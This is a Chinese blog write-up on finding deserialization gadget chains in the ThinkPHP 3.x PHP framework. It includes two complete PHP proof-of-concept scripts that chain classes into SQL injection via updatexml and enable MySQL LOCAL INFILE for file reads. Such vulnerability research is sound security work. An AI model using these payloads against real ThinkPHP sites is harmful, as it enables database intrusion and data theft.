thinkphp 3.x反序列化分析

反序列化:

这里主要是挖掘的一些思路与方法
常用的魔法方法:

1.__construct,__destruct
__constuct构建对象的时被调用;
__destruct明确销毁对象或脚本结束时被调用;
2.__get,__set
__set当给不可访问或不存在属性赋值时被调用
__get读取不可访问或不存在属性时被调用
3.__isset,__unset
__isset对不可访问或不存在的属性调用isset()或empty()时被调用
__unset对不可访问或不存在的属性进行unset时被调用
4.__call,__callStatic
__call调用不可访问或不存在的方法时被调用
__callStatic调用不可访问或不存在的静态方法时被调用
5.__sleep,__wakeup
__sleep当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用
__wakeup当使用unserialize时被调用,可用于做些对象的初始化操作
6.__clone
进行对象clone时被调用,用来调整对象的克隆行为
7.__toString
当一个类被转换成字符串时被调用
8.__invoke
当以函数方式调用对象时被调用
9.__set_state
当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值。
10.__debuginfo

在这里我们从destruct函数分析,当然destruct并非唯一的入口

可能的点:
1.

在这里destroy为无参调用,因此我们全局搜索:

可以发现这里只能使用无参的destroy,经过搜索发现没有满足条件的类,
但值得注意的是,在php7.0及以下版本中,当函数的参数进行字符串拼接的时候可以不用传数值

可以看到筛选出来三个

但是如果使用数组拼接字符串的话,会被强制转化为字符串,因此delete的参数只能为字符串不能为数组

1.1

这里个有字符串拼接,而且$this->sessionName可控我们可以直接利用

1.1.1

继续搜索function delete(

1.1.2

这里可能的函数还是比较多的,直接分析可能能利用的

这个类是抽象类,无法进行序列化和反序列化,因此无法利用

1.1.1.1

无法控制options

1.1.1.2

无法控制$options为数组

1.1.1.3

在这里我们可能会想到3.2.3的delete的sql注入,但是在这里我们需要控制$options让其为数组才能利用,但是在前面分析发现$options只能为字符串,因此就不能直接考虑$options了,通过观察发现,$this->data这个我们是可控的而且会回调delete方法,导致可以传入一个数值,从而引发delete的sql注入

可以看到$pk和$this->data都是可控的,因此我们只需要让$this->data[$pk]为数值就行了
当然Model类本身也需要连接数据库,因此还必须创建一个mysql类

因为mysql类继承至Driver,数据库配置基本上在Driver类中,因此我们直接看Driver

也并不是每一个都要配置

<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}


namespace Think\Session\Driver{
use Think\Model;

class Memcache {
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}

}

namespace Think{
use Think\Db\Driver\Mysql;
class Model {
protected $data=array();
protected $pk;
protected $options=array();
protected $db=null;

public function __construct()
{
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
'where'=>'1=1',
'table'=>'mysql.user where 1=updatexml(1,concat(0x7e,user(),0x7e),1)#'

);

}
}
}


//初始化数据库连接
namespace Think\Db\Driver{
use PDO;
class Mysql {

protected $config = array(
'debug' => true,
"charset" => "utf8",
'type' => 'mysql', // 数据库类型
'hostname' => 'localhost', // 服务器地址
'database' => 'thinkphp3', // 数据库名
'username' => 'root', // 用户名
'password' => 'root', // 密码
'hostport' => '3306', // 端口
);
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启后才可读取文件
//PDO::MYSQL_ATTR_MULTI_STATEMENTS => true, //把堆叠开了,开启后可堆叠注入
);

}
}

namespace{
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

结果:

1.1.1.4

这里的$this->modelList可控,导致$options['table']可控


<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}

namespace Think\Session\Driver{
use Think\Model\MergeModel;

class Memcache {
protected $handle;
public function __construct(){
$this->handle = new MergeModel();

}
}
}
namespace Think\Model{
use Think\Db\Driver\Mysql;
class MergeModel {
protected $data=array();
protected $pk;
protected $options=array();
protected $db=null;
protected $modelList=array('mysql.user where 1=updatexml(1,concat(0x7e,user(),0x7e),1)#');
public function __construct()
{
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
'where'=>'1=1'
);

}
}
}

//初始化数据库连接
namespace Think\Db\Driver{
use PDO;
class Mysql {
protected $config = array(
'debug' => true,
"charset" => "utf8",
'type' => 'mysql', // 数据库类型
'hostname' => 'localhost', // 服务器地址
'database' => 'thinkphp3', // 数据库名
'username' => 'root', // 用户名
'password' => 'root', // 密码
'hostport' => '3306', // 端口
);
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启后才可读取文件
//PDO::MYSQL_ATTR_MULTI_STATEMENTS => true, //把堆叠开了,开启后可堆叠注入
);
}
}
namespace{
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

结果:

1.1.1.5

这就和Model类基本上一样了

1.2

1.3

没有拼接,无法利用

2.

 同样没有拼接无法利用

在这里看似可以写入文件
实则并无法利用,因为self::$yyTracFILE只能是资源类型,而我们序列化内容,只能是字符串或者整型,因此无法利用

3.

没用可控的并且返回一个对象的handler方法
因此无法利用

4.

和第二个基本上一样,无法利用

  • 5
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值